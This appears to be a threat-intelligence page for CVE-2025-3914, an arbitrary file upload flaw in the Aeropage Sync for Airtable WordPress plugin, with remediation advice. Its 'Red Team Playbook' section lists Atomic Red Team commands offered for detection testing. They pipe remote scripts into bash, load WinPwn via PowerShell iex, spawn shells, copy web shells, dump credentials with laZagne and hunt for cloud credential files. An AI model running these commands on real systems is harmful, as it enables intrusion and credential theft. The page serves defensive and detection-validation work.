CVE-2025-3914
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of proper file type validation within the 'aeropage_media_downloader' function of the Aeropage Sync for Airtable WordPress plugin. The affected component improperly processes file uploads, allowing authenticated users with Subscriber-level permissions or higher to upload files without restriction. This lack of validation in all versions up to and including 3.2.0 enables exploitation through crafted file payloads.
Vulnerability Description
The Aeropage Sync for Airtable plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'aeropage_media_downloader' function in all versions up to, and including, 3.2.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Subscriber-level or higher access can upload arbitrary files to the server hosting the vulnerable WordPress site, potentially leading to remote code execution. This enables unauthorized code execution within the context of the web server, which can result in full site compromise, data exfiltration, or pivoting within the network. The attack requires authentication (PR:L) but no user interaction (UI:N) and can be executed remotely (AV:N) with low attack complexity (AC:L). Confidentiality, integrity, and availability are all impacted (C:H/I:H/A:H).
Solution
To remediate this vulnerability, update the Aeropage Sync for Airtable plugin to version 3.2.1 or later, where proper file type validation has been implemented. Detailed patch information and upgrade instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a501c2d6-cdcc-4003-99df-245f5253e20f. Users should replace the vulnerable plugin version and verify that the 'aeropage_media_downloader' function includes appropriate file validation checks as per the updated source code.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Aeropage Sync for Airtable plugin for WordPress stems from inadequate file type validation within the 'aeropage_media_downloader' function. This flaw allows authenticated users, even those with minimal permissions such as Subscriber-level access, to upload arbitrary files onto the server hosting the affected WordPress site. The lack of stringent checks on the file types being uploaded creates a significant security gap, as it opens the door for attackers to introduce malicious files that could lead to remote code execution. This vulnerability affects all versions of the plugin up to and including version 3.2.0, making it a widespread concern for users of this plugin.
Attack vectors exploiting this vulnerability are particularly concerning due to the low barrier to entry for potential attackers. An authenticated user, who may have legitimate access to the site, can leverage this flaw to upload malicious scripts or executables disguised as benign files. Once uploaded, these files can be executed on the server, allowing the attacker to gain control over the affected site. Scenarios may include the execution of web shells, which provide a persistent backdoor for further exploitation, data exfiltration, or even lateral movement within the network. The ability to manipulate server-side resources poses a significant threat, especially if the compromised site is part of a larger infrastructure or contains sensitive user data.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on the affected plugin for their operations. Successful exploitation can lead to unauthorized access to sensitive information, defacement of the website, or the deployment of malware that could affect end-users. The business risks associated with such incidents include reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Furthermore, the costs associated with incident response, remediation, and potential regulatory fines can be substantial, making it imperative for organizations to take proactive measures to safeguard their systems.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Aeropage Sync for Airtable plugin to the latest version is crucial, as developers often release patches that address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Security monitoring tools should be utilized to detect unusual activity on the server, such as unexpected file uploads or changes to existing files. Conducting regular security audits and penetration testing can also help identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerability in the Aeropage Sync for Airtable plugin represents a significant threat to WordPress sites, particularly those with inadequate security measures. The combination of easy exploitation and the potential for severe consequences underscores the importance of vigilance in maintaining plugin security. By adopting a proactive stance on vulnerability management and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks posed by such vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in the exploitability of CVE-2025-3914, reflected by a substantial increase in the Exploit Prediction Scoring System (EPSS) score. This surge indicates growing attacker interest and capability to leverage the arbitrary file upload vulnerability within the Aeropage Sync for Airtable WordPress plugin. Contributing to this heightened risk is the recent emergence of publicly available proof-of-concept exploits, which lower the barrier for threat actors to initiate attacks. Our telemetry shows a rapid upward trend in exploitation attempts, suggesting that adversaries are actively incorporating this vulnerability into their operational playbooks. For defenders, this development signifies an elevated threat environment where even low-privilege authenticated users can potentially achieve remote code execution, increasing the risk of site compromise and lateral movement within affected networks. Consequently, the threat level associated with CVE-2025-3914 has escalated from high to critical, demanding immediate attention to detection and response capabilities to mitigate potential impact.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Aeropage | Aeropage Sync For Airtable | All |
cpe:2.3:a:aeropage:aeropage_sync_for_airtable:*:*:*:*:*:wordpress:*:*
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Disclaimer
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
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LvL23HT/PoC-CVE-2025-3914-Aeropage-WordPress-File-Upload
CVE-2025-3914-PoC | The Aeropage Sync for Airtable WordPress plugin (≤ v3.2.0) is vulnerable to authenticated arbitrary ...
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LvL23HT | 0 | 0 | 2025-04-27 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
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High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-3914 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/a501c2d6-cdcc-4003-99df-245f5253e20f?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/aeropage-sync-for-airtable/trunk/aeropage.php#L1214 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/aeropage-sync-for-airtable/trunk/aeropage.php#L1215 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/aeropage-sync-for-airtable/trunk/aeropage.php#L1250 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/changeset/3281904/ |